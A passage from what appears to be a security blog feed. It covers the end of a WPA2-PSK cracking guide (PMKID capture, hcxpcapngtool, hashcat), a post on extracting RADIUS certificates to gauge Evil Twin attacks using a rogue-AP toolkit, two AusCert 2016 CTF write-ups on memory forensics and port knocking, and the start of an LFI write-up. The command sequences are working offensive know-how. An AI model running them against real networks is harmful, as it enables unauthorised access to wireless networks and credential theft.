<p>Once the interface is not longer controlled, the interface can be placed into monitor mode without Network Manager’s interference.</p>

<pre><code class="language-Bash">sudo iwconfig INTERFACE mode Monitor
</code></pre>

<h3 id="conducting-the-attack-3">Conducting the attack</h3>

<p>After configuring the interface, <a href="https://github.com/aircrack-ng/aircrack-ng"><code class="language-plaintext highlighter-rouge">airodump-ng</code></a> is used to perform the initial target AP identification as shown in the example below. In the below example, it is unknown whether the target AP is on 2.4GHz or a 5GHz frequency, therefore the <code class="language-plaintext highlighter-rouge">--band abg</code> switch is used to enable channel hopping across both spectrums. The <code class="language-plaintext highlighter-rouge">-a</code> is used to attempt to reduce the noise presented by <code class="language-plaintext highlighter-rouge">airodump-ng</code> in high population areas by only reporting on clients observed to be associated to an AP.</p>

<pre><code class="language-Bash">sudo airodump-ng --band abg -a wlan0
</code></pre>

<p>In the below image, the target AP is broadcasting the SSID <code class="language-plaintext highlighter-rouge">demo</code>, listening on channel <code class="language-plaintext highlighter-rouge">157</code> and has the <code class="language-plaintext highlighter-rouge">7a:65:59:27:f4:0c</code> BSSID.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230117233625.png" alt="" /></p>

<p class="note">The same information can be retrieved using Network Manager without the need of using <a href="https://github.com/aircrack-ng/aircrack-ng"><code class="language-plaintext highlighter-rouge">airodump-ng</code></a>.</p>

<pre><code class="language-Bash">sudo nmcli dev wifi list
</code></pre>

<p>Again, readers of historical Wi-Fi hacking articles would notice a slight difference in execution technique in the next part. Out of sheer laziness for not wanting to have multiple terminal tabs open for this attack, <code class="language-plaintext highlighter-rouge">airodump-ng</code> is not used to change the channel of the monitor interface to match the target AP but instead it is done using the following <code class="language-plaintext highlighter-rouge">iwconfig</code> command:</p>

<pre><code class="language-Bash">sudo iwconfig wlan0 channel 157
</code></pre>

<p>Once <code class="language-plaintext highlighter-rouge">wireshark</code> is launched, it is attached to the monitor interface and the below display filter is used to focus on the target AP, by BSSID.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118021834.png" alt="" /></p>

<p>Then using the 2nd wireless interface, without any configuration (ie it is still managed by Network Manager and is in managed mode), use Network Manager to connect to the target network using an arbitrary PSK, as shown below.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118231125.png" alt="" /></p>

<p>After the 2nd interface is associated with the target AP, the AP begins the four-way handshake and sends the EAPO message (M1) frame, and as expected, includes the PMKID.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118231648.png" alt="" /></p>

<p>At which point, the PCAP is saved locally. The next step is to prepare the PCAP file for the brute force attack to come, once again historical readers will be familiar with <code class="language-plaintext highlighter-rouge">aircrack-ng</code> being used to perform the brute force attack. The issue with <code class="language-plaintext highlighter-rouge">aircrack-ng</code> that is it utilises CPU processing power, and therefore is magnitudes more inefficient when compared to GPU processing power. As such, there has been an evolutional shift in the standard execution process to leverage GPU processing power for the brute force attack, with <code class="language-plaintext highlighter-rouge">hashcat</code> being the typical tool of choice. However to use <code class="language-plaintext highlighter-rouge">hashcat</code>, the PCAP file needs to have the four-way handshake extracted and converted to a format that is usable. This conversion process is performed using the <code class="language-plaintext highlighter-rouge">hcxpcapngtool</code>, as shown below.</p>

<pre><code class="language-Bash">hcxpcapngtool pmkid.demo.pcap -o pmkid.demo.22000
</code></pre>

<p>Out of habit, I will make the output file extension <code class="language-plaintext highlighter-rouge">.22000</code>. This is muscle memory that I’ve drilled into myself to remind myself what the hash type is that I am dealing with when using <code class="language-plaintext highlighter-rouge">hashcat</code>. For the case of PSK, <code class="language-plaintext highlighter-rouge">hashcat</code> requires mode <code class="language-plaintext highlighter-rouge">22000</code>, hence that is the file naming convention.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118231826.png" alt="" /></p>

<p class="note">In the above image, <code class="language-plaintext highlighter-rouge">hcxpcapngtool</code> reports that the PMKID handshake has been written to the output file plus an additional artefact (refer to the side note section at the bottom of this section). After the extraction, I manually removed the four-way handshake entry.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118231953.png" alt="" /></p>

<p>Using the below <code class="language-plaintext highlighter-rouge">hashcat</code> command, the PMKID is brute forced using a basic word list file.</p>

<pre><code class="language-Bash">hashcat -m 22000 pmkid.demo.22000 psk
</code></pre>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122233203.png" alt="" /></p>

<p class="note">The PSK has been compromised using <code class="language-plaintext highlighter-rouge">hashcat</code> in 0 seconds as shown above, however since this demo was performed in a Virtual Machine, <code class="language-plaintext highlighter-rouge">hashcat</code> used CPU power. The benefit of using <code class="language-plaintext highlighter-rouge">hashcat</code> comes into play when the adversary can use dedicated GPU power. This is typically going to be using cheap second-hand hardware bought online for the typical adversary.</p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="wifi" /><category term="wifi" /><summary type="html"><![CDATA[A 2023 guide on cracking WEP & WPA2-PSK wireless encryption]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.infamoussyn.com/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted%20image%2020230118011339.png" /><media:content medium="image" url="https://blog.infamoussyn.com/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted%20image%2020230118011339.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Manually Extracting WPA2-EAP WLAN RADIUS Certificates</title><link href="https://blog.infamoussyn.com/posts/wifi/2023/01/15/manually-extracting-the-radius-certificate-for-a-WPA2-EAP-WLAN.html" rel="alternate" type="text/html" title="Manually Extracting WPA2-EAP WLAN RADIUS Certificates" /><published>2023-01-15T00:00:00+00:00</published><updated>2023-01-15T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/wifi/2023/01/15/manually%20extracting%20the%20radius%20certificate%20for%20a%20WPA2-EAP%20WLAN</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/wifi/2023/01/15/manually-extracting-the-radius-certificate-for-a-WPA2-EAP-WLAN.html"><![CDATA[<ul id="markdown-toc">
  <li><a href="#why-should-we-inspect-the-radius-certificate-for-the-red-perspective" id="markdown-toc-why-should-we-inspect-the-radius-certificate-for-the-red-perspective">Why should we inspect the RADIUS certificate for the red perspective?</a></li>
  <li><a href="#why-should-we-inspect-the-radius-certificate-for-the-blue-perspective" id="markdown-toc-why-should-we-inspect-the-radius-certificate-for-the-blue-perspective">Why should we inspect the RADIUS certificate for the blue perspective?</a></li>
  <li><a href="#how-do-we-manually-extract-the-certificate" id="markdown-toc-how-do-we-manually-extract-the-certificate">How do we manually extract the certificate</a></li>
</ul>

<h2 id="why-should-we-inspect-the-radius-certificate-for-the-red-perspective">Why should we inspect the RADIUS certificate for the red perspective?</h2>
<p>When assessing whether or not it an Evil Twin attack would be viable, assuming the adversary does not want to take a shot in the dark and blind fire their software, they could manually connect to the Access Point (AP) to initialise an authentication process. During the authentication process, the adversary will receive the certificate presented by the RADIUS server.</p>

<p>When a certificate is self-signed, it is often a good sign that client devices have not been appropriately hardened to validate the identity of the RADIUS server before transmitting credentials. In fact in this case, it often means a client device has been intentionally made more insecure. As by default for Microsoft supplicants are required to validate the identity of the RADIUS certificate. The following images show the default state of the supplicant for both a <code class="language-plaintext highlighter-rouge">EAP-PEAP</code> and <code class="language-plaintext highlighter-rouge">EAP-TLS</code>, where both have the <code class="language-plaintext highlighter-rouge">Verify the server's identity by validating the certificate</code>.</p>

<p><img src="/assets/img/2023-01-15-manually extracting the radius certificate for a WPA2-EAP WLAN/wireless - default PEAP properties.png" alt="" /></p>

<p><img src="/assets/img/2023-01-15-manually extracting the radius certificate for a WPA2-EAP WLAN/wireless - default EAP-TLS properties.png.png" alt="" /></p>

<p>However, if the extracted certificate has been issued and signed by any of Trusted Root Certificate Authorities (CA), it can be likely assumed that client device would still be vulnerable to an Evil Twin attack. This would be provided that the adversary also generates a certificate that has been signed by a CA that is included in the trusted root CA list by default.</p>

<h2 id="why-should-we-inspect-the-radius-certificate-for-the-blue-perspective">Why should we inspect the RADIUS certificate for the blue perspective?</h2>
<p>An organisation could use RADIUS server certificate scraping to detect the presence of a rogue AP.  Which in turn could be used to engage manual procedures to hunt for the presence of the adversary for eviction.</p>

<p><strong>Note:</strong> Although an adversary could simply conduct an Evil Twin attack outside the target organisations sphere of control to remain undetected, leading to an losing battle for organisations.</p>

<h2 id="how-do-we-manually-extract-the-certificate">How do we manually extract the certificate</h2>
<p>In this demonstration, <a href="https://github.com/InfamousSYN/rogue"><code class="language-plaintext highlighter-rouge">rogue</code></a> is used to deploy an WPA2-EAP WLAN with a self-signed certificate.</p>

<pre><code class="language-Bash">┌──(kali㉿kali)-[/opt/rogue]
└─$ sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wpa-enterprise --internet --preset-profile wifi4 --channel-randomiser --default-eap peap -E all --country AU

[*] Launching the rogue toolkit v3.0.4
[-]
[-] Randomised channel selection is superseding ACS
[-]   Channel 9 was selected
[-] Checking required RADIUS certificate files exist...
[-] Check RADIUS certificate files exist passed...
[-] Launching rogue at: 2023-01-15 05:05:21.930099

[*] Reticulating radio frequency splines...

100%|█████████████████████████████████████████████████████████████████████████████████| 1/1 [00:01&lt;00:00,  1.00s/it]

[+] Creating hostapd-wpe.confg file: /opt/rogue/tmp/hostapd-wpe.conf
[+] Creating radiusd.conf file: /etc/freeradius-wpe/3.0/radiusd.conf
[+] Rewriting the default site file: /etc/freeradius-wpe/3.0/sites-available/default
[+] Creating eap.conf file: /etc/freeradius-wpe/3.0/mods-available/eap
[+] Creating clients.conf file: /etc/freeradius-wpe/3.0/clients.conf
[*] Launching freeradius-wpe
[+] Creating /etc/default/isc-dhcp-server file: /etc/default/isc-dhcp-server
[+] Creating dhcpd.conf file: /etc/dhcp/dhcpd.conf

[*] Starting isc-dhcp-server service.

100%|█████████████████████████████████████████████████████████████████████████████████| 4/4 [00:04&lt;00:00,  1.00s/it]

[*] Launching hostapd-wpe
[*] Enabling IP forwarding
Press enter to quit...wlan0: interface state UNINITIALIZED-&gt;COUNTRY_UPDATE
wlan0: interface state COUNTRY_UPDATE-&gt;HT_SCAN
wlan0: RADIUS Authentication server 127.0.0.1:1812
wlan0: RADIUS Accounting server 127.0.0.1:1813
wlan0: interface state HT_SCAN-&gt;ENABLED
wlan0: AP-ENABLED
</code></pre>

<p>As <code class="language-plaintext highlighter-rouge">wlan0</code> is in master mode to serve as the AP, second wireless interface will be needed to serve as the client device. While the second interface will be in managed mode, to connect it to the simulated WPA2-EAP WLAN, it can’t be managed by Network Manager.</p>

<p>Using the following command, Network Manager is told to not control the interface any longer.</p>

<pre><code class="language-Bash">sudo nmcli device set wlan1 managed no
</code></pre>

<p>Below is a quick overview of the state of the second interface, note how it’s mode of operation in <code class="language-plaintext highlighter-rouge">iwconfig</code> is recorded as monitor and it’s control state in Network Manager is unmanaged, this is the target configuration.</p>

<pre><code class="language-Bash">┌──(kali㉿kali)-[~]
└─$ nmcli dev
DEVICE         TYPE      STATE        CONNECTION         
eth0           ethernet  connected    Wired connection 1 
p2p-dev-wlan0  wifi-p2p  unavailable  --                 
p2p-dev-wlan1  wifi-p2p  unavailable  --                 
lo             loopback  unmanaged    --                 
wlan0          wifi      unmanaged    --                 
wlan1          wifi      unmanaged    --                 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$
</code></pre>

<p>Next the mode of operation for the second interface needs to be changed to monitor mode.</p>

<pre><code class="language-Bash">sudo iwconfig wlan1 mode monitor
</code></pre>

<p>The following represents the final target state for the interfaces.</p>

<pre><code class="language-Bash">┌──(kali㉿kali)-[~]
└─$ iwconfig                
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11bgn  ESSID:"rogue"  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Master  Frequency:2.417 GHz  Access Point: 00:11:22:33:44:00   
          Bit Rate:144.4 Mb/s   Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=1/100  Signal level=1/100  Noise level=0/100
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

wlan1     IEEE 802.11b  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Monitor  Frequency:2.417 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$
</code></pre>

<p>Once the second interface is in monitor mode, the channel it is operating on needs to be changed to match target WLAN.</p>

<pre><code class="language-Bash">sudo iwconfig wlan1 channel 2
</code></pre>

<p>Once the monitoring interface has been configured, launch <code class="language-plaintext highlighter-rouge">wireshark</code> and have it listen on the second interface. Then using a (in this demo) third interface, recommended to be a windows device, connect to the target WLAN with any value as the MSCHAP values. This will result in EAP traffic being captured, represented in the image below.</p>

<p><img src="/assets/img/2023-01-15-manually extracting the radius certificate for a WPA2-EAP WLAN/wireshark - 802.11 - server hello certificate.png" alt="" /></p>

<p>As shown above, identify the <code class="language-plaintext highlighter-rouge">Server Hello</code> message, and expand the frame layer viewing tree down to the <code class="language-plaintext highlighter-rouge">certificates</code> layer as shown below.</p>

<p><img src="/assets/img/2023-01-15-manually extracting the radius certificate for a WPA2-EAP WLAN/wireshark - 802.11 - certificate layer.png" alt="" /></p>

<p>Expand the certificates list, and right-click on each certificate, and select <code class="language-plaintext highlighter-rouge">Export Packet Bytes</code> to save the certificate as a file locally.</p>

<p><img src="/assets/img/2023-01-15-manually extracting the radius certificate for a WPA2-EAP WLAN/wireshark - 802.11 - server hello certificate export.png" alt="" /></p>

<p>Once the certificate has been extracted from <code class="language-plaintext highlighter-rouge">wireshark</code>, the following <code class="language-plaintext highlighter-rouge">openssl</code> command can be used to read the certificate.</p>
<pre><code class="language-Bash">openssl x509 -inform der -in cert.der -text
</code></pre>

<p><img src="/assets/img/2023-01-15-manually extracting the radius certificate for a WPA2-EAP WLAN/wireshark - 802.11 - server hello certificate inspection.png" alt="" /></p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="wifi" /><category term="wifi" /><summary type="html"><![CDATA[Inspecting RADIUS certificates for target information]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.infamoussyn.com/assets/img/2023-01-15-manually%20extracting%20the%20radius%20certificate%20for%20a%20WPA2-EAP%20WLAN/wireshark%20-%20802.11%20-%20certificate%20layer.png" /><media:content medium="image" url="https://blog.infamoussyn.com/assets/img/2023-01-15-manually%20extracting%20the%20radius%20certificate%20for%20a%20WPA2-EAP%20WLAN/wireshark%20-%20802.11%20-%20certificate%20layer.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Shearwater AusCert 2016 CTF - Game of Memory Writeup</title><link href="https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-Game-of-Memory-Writeup.html" rel="alternate" type="text/html" title="Shearwater AusCert 2016 CTF - Game of Memory Writeup" /><published>2016-05-26T00:00:00+00:00</published><updated>2016-05-26T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-Game-of-Memory-Writeup</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-Game-of-Memory-Writeup.html"><![CDATA[<p>This blog contains a write up of the solution I used to solve the category “Game of Memory”. Unlike with the other categories, there is a single challenge and we’re tasked to answer specific questions. We are given a brief scenario and a link and password for a memory dump file.</p>
<ul>
  <li>The dump file is here: https://mega.nz/#!XAkUVZrL!ioGSxK6V3An14mnq-mOAOktk5o8RhAxiNOhEX0YCxtU</li>
  <li>Password: Shearwater AusCert 2016</li>
</ul>

<p>##Question 1:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>What is the malicious process PID, at what time did the malicious process PID start and what is the parent process PID?
 
The flag must be submitted in the following format: [pid][9999-99-99 00:00:00 UTC+0000][ppid]
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volatility -f memory_1.dmp --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.4
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa80040c9b30:rundll32.exe                     3248   3216      3     61 2016-05-11 03:27:48 UTC+0000
. 0xfffffa8004e77b30:cmd.exe                         3268   3248      1     33 2016-05-11 03:27:48 UTC+0000
</code></pre></div></div>

<p>The above two process stood out the most as potentially malicious as typically “cmd.exe” processes would be spawned from “explorer.exe” processes. The “rundll32.exe” is frequently, but not exclusively, leveraged by MSF payloads. This provides another indicator of a potentially malicious process.</p>

<p>Answer: [3268][2016-05-11 03:27:48 UTC+0000][3248]</p>

<p>##Question 2:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>What permission level was achieved by the attacker?
 
The flag must be submitted in the following format: [Authenticated Users]
</code></pre></div></div>

<p>There is a plugin in volatility which gathers the SID related to a process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volatility -f memory_1.dmp --profile=Win7SP1x64 getsids -p 3268
Volatility Foundation Volatility Framework 2.4
cmd.exe (3268): S-1-5-18 (Local System)
cmd.exe (3268): S-1-5-32-544 (Administrators)
cmd.exe (3268): S-1-1-0 (Everyone)
cmd.exe (3268): S-1-5-11 (Authenticated Users)
cmd.exe (3268): S-1-16-16384 (System Mandatory Level)
</code></pre></div></div>

<p>Answer: [Local System]</p>

<p>##Question 3:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>What is the attacker's IP and port, the PID of the process attached to the connection and is the connection still open?
 
The flag must be submitted in the following format: [IP:PORT][PID][N]
</code></pre></div></div>

<p>This is another simple question which can be solved using the netscan plugin in volatility.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volatility -f memory_1.dmp --profile=Win7SP1x64 netscan |grep 3248
Volatility Foundation Volatility Framework 2.4
Offset(P) Proto Local Address Foreign Address State Pid Owner Created
0x13e3d16f0 TCPv4 192.168.136.131:49189 192.168.136.134:41367 CLOSED 3248 rundll32.exe
</code></pre></div></div>

<p>Answer: [192.168.136.134:41367][3248][N]</p>

<p>##Question 4:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>What file was modified?
 
The answer must be submitted in the following format: [C:\flag.txt]
</code></pre></div></div>

<p>During the contest, I identified several ways which could be used to identify the file which was modified. I used the handles plugin in a previous blogpost to track a key logger file, so I decided to use this plugin in again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volatility -f memory_1.dmp --profile=Win7SP1x64 handles -t File -p 3268
Volatility Foundation Volatility Framework 2.4
Offset(V) Pid Handle Access Type Details
------------------ ------ ------------------ ------------------ -------------------------- -------
0xfffffa8004091070 3268 0x10 0x100020 File \Device\HarddiskVolume1\Windows
0xfffffa8003f5ba60 3268 0x60 0x120089 File \Device\HarddiskVolume1\Windows\SysWOW64\en-US\cmd.exe.mui
0xfffffa80057bed30 3268 0x80 0x100020 File \Device\HarddiskVolume1\Users\vagrant\Documents\vault
0xfffffa80040a37c0 3268 0x84 0x16019f File \Device\Afd\Endpoint
0xfffffa80040a37c0 3268 0xe4 0x16019f File \Device\Afd\Endpoint
</code></pre></div></div>

<p>The above output the reference to the user “vagrant” seemed suspicious, however it doesn’t appear to be a file rather its a directory. I then used the filescan and grepped the output for the potential directory.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volatility -f memory_1.dmp --profile=Win7SP1x64 filescan |grep vault
Volatility Foundation Volatility Framework 2.4
0x000000013e05fbc0 10 0 R--r-d \Device\HarddiskVolume1\Windows\System32\vaultcli.dll
0x000000013e22c740 15 0 R--r-d \Device\HarddiskVolume1\Windows\System32\vaultsvc.dll
0x000000013e22c990 16 0 R--r-d \Device\HarddiskVolume1\Windows\System32\en-US\vaultsvc.dll.mui
0x000000013e7bed30 1 1 R--rw- \Device\HarddiskVolume1\Users\vagrant\Documents\vault
0x000000013fd1ad40 16 0 R--rw- \Device\HarddiskVolume1\Users\vagrant\Documents\vault\6.txt
</code></pre></div></div>

<p>Bingo! The file was found. This could also of been achieved via mftparser and crawling through all entries containing “vault”.</p>

<p>Answer: [C:\Users\vagrant\Documents\vault\6.txt]</p>

<p>##Question 5:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>What is the attackers flag?
 
The answer must be submitted in the following format: flag{example_flag}
</code></pre></div></div>

<p>This is simple, just export the MFT using the mftparser and then find the 6.txt file.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volatility -f memory_1.dmp --profile=Win7SP1x64 mftparser --output-file=output.txt
MFT entry found at offset 0x25273400
Attribute: In Use &amp; File
Record Number: 43713
Link count: 1
 
 
$STANDARD_INFORMATION
Creation Modified MFT Altered Access Date Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2016-05-08 08:09:18 UTC+0000 2016-05-11 03:28:58 UTC+0000 2016-05-11 03:28:58 UTC+0000 2016-05-08 08:09:18 UTC+0000 Archive
 
$FILE_NAME
Creation Modified MFT Altered Access Date Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2016-05-08 08:09:18 UTC+0000 2016-05-08 08:09:18 UTC+0000 2016-05-08 08:09:18 UTC+0000 2016-05-08 08:09:18 UTC+0000 Users\vagrant\DOCUME~1\vault\6.txt
 
$OBJECT_ID
Object ID: 1f69cf66-f314-e611-8b90-000c296760b4
Birth Volume ID: 80000000-4000-0000-0000-180000000400
Birth Object ID: 23000000-1800-0000-2266-6c61677b4e33
Birth Domain ID: 58745f74-316d-335f-6c33-745f31333337
 
$DATA
0000000000: 22 66 6c 61 67 7b 4e 33 58 74 5f 74 31 6d 33 5f "flag{N3Xt_t1m3_
0000000010: 6c 33 74 5f 31 33 33 37 5f 42 55 31 6c 44 7d 22 l3t_1337_BU1lD}"
0000000020: 20 0d 0a ...
</code></pre></div></div>

<p>Answer: flag{N3Xt_t1m3_l3t_1337_BU1lD}</p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="ctf" /><category term="auscert" /><summary type="html"><![CDATA[A solution guide for the Game of Memory challenge released during the AusCert 2016 CTF]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://media.licdn.com/dms/image/C560BAQF7sMoqvGJbzw/company-logo_200_200/0/1571110916719?e=1680739200&amp;v=beta&amp;t=CRqt-5pZy_vuszw6m3Hk9t4G6XQ-bR6zg29eS20i9kY" /><media:content medium="image" url="https://media.licdn.com/dms/image/C560BAQF7sMoqvGJbzw/company-logo_200_200/0/1571110916719?e=1680739200&amp;v=beta&amp;t=CRqt-5pZy_vuszw6m3Hk9t4G6XQ-bR6zg29eS20i9kY" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Shearwater AusCert 2016 CTF - Sheldon Writeup</title><link href="https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-Sheldon-Writeup.html" rel="alternate" type="text/html" title="Shearwater AusCert 2016 CTF - Sheldon Writeup" /><published>2016-05-26T00:00:00+00:00</published><updated>2016-05-26T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-Sheldon-Writeup</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-Sheldon-Writeup.html"><![CDATA[<p>This blog contains a write up of the solution I used to solve the challenge “Sheldon” from the Packet Sheriff category. We are given a PCAP file called and a message saying “knock knock”.</p>

<p>The PCAP contains a connection to the destination server on port TCP/54321, the target server responded with “Who’s there”. After the response the source server attempts to connect to every port beginning at TCP/1025. It began clear that the certain ports responded differently, there is something funny going on here! Attempting to actually connect to TCP/54321, the connection was closed. But when actually connecting to TCP/1111, which was one of ports that were different in the PCAP, we can a connection refused response straight away. But TCP/1112 would instead of timeout. This is very strange, but the pieces fell together and it was identified that this is a port knocking challenge.</p>

<p>The challenge name and description and the servers’ response were all included as abstract hints. With the challenge concept, it was simple enough to determine every single port which was required for the sequence and the final port to connect to. Below is the solution code for this challenge.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">import</span> <span class="nn">socket</span>
 
<span class="n">plist</span> <span class="o">=</span> <span class="p">[</span><span class="mi">9999</span><span class="p">,</span> <span class="mi">8888</span><span class="p">,</span> <span class="mi">7777</span><span class="p">,</span> <span class="mi">6666</span><span class="p">,</span> <span class="mi">5555</span><span class="p">,</span> <span class="mi">4444</span><span class="p">,</span> <span class="mi">3333</span><span class="p">,</span> <span class="mi">2222</span><span class="p">,</span> <span class="mi">1111</span><span class="p">,</span> <span class="mi">54321</span><span class="p">]</span>
<span class="n">host</span> <span class="o">=</span> <span class="s">'52.64.111.123'</span>
<span class="n">data</span> <span class="o">=</span> <span class="s">""</span>
 
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">plist</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Attempting to connect to %s on port %s"</span> <span class="o">%</span> <span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
        <span class="n">s</span><span class="p">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mf">1.0</span><span class="p">)</span>
        <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span>
 
        <span class="n">data</span> <span class="o">+=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
        <span class="n">data</span> <span class="o">+=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
        <span class="n">data</span> <span class="o">+=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
 
        <span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
 
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">continue</span>
 
<span class="k">print</span> <span class="n">data</span>
</code></pre></div></div>

<p>Running the above solution code, gave the following output and the challenge flag.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>% python sheldon-sol.py              
Attempting to connect to 52.64.111.123 on port 9999
Attempting to connect to 52.64.111.123 on port 8888
Attempting to connect to 52.64.111.123 on port 7777
Attempting to connect to 52.64.111.123 on port 6666
Attempting to connect to 52.64.111.123 on port 5555
Attempting to connect to 52.64.111.123 on port 4444
Attempting to connect to 52.64.111.123 on port 3333
Attempting to connect to 52.64.111.123 on port 2222
Attempting to connect to 52.64.111.123 on port 1111
Attempting to connect to 52.64.111.123 on port 54321
 
 
flag{Knock_Knock_Knock_Penny}
</code></pre></div></div>

<p>Challenge completed.</p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="ctf" /><category term="auscert" /><summary type="html"><![CDATA[A solution guide for the Sheldon challenge released during the AusCert 2016 CTF]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://media.licdn.com/dms/image/C560BAQF7sMoqvGJbzw/company-logo_200_200/0/1571110916719?e=1680739200&amp;v=beta&amp;t=CRqt-5pZy_vuszw6m3Hk9t4G6XQ-bR6zg29eS20i9kY" /><media:content medium="image" url="https://media.licdn.com/dms/image/C560BAQF7sMoqvGJbzw/company-logo_200_200/0/1571110916719?e=1680739200&amp;v=beta&amp;t=CRqt-5pZy_vuszw6m3Hk9t4G6XQ-bR6zg29eS20i9kY" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Shearwater AusCert 2016 CTF - So you think you can LFI? Writeup</title><link href="https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-So-You-Think-You-Can-LFI-Writeup.html" rel="alternate" type="text/html" title="Shearwater AusCert 2016 CTF - So you think you can LFI? Writeup" /><published>2016-05-26T00:00:00+00:00</published><updated>2016-05-26T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-So-You-Think-You-Can-LFI-Writeup</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/2016/05/26/Shearwater-AusCert-2016-CTF-So-You-Think-You-Can-LFI-Writeup.html"><![CDATA[<p>This blog contains a write up of the solution I used to solve the challenge “So you think you can LFI” 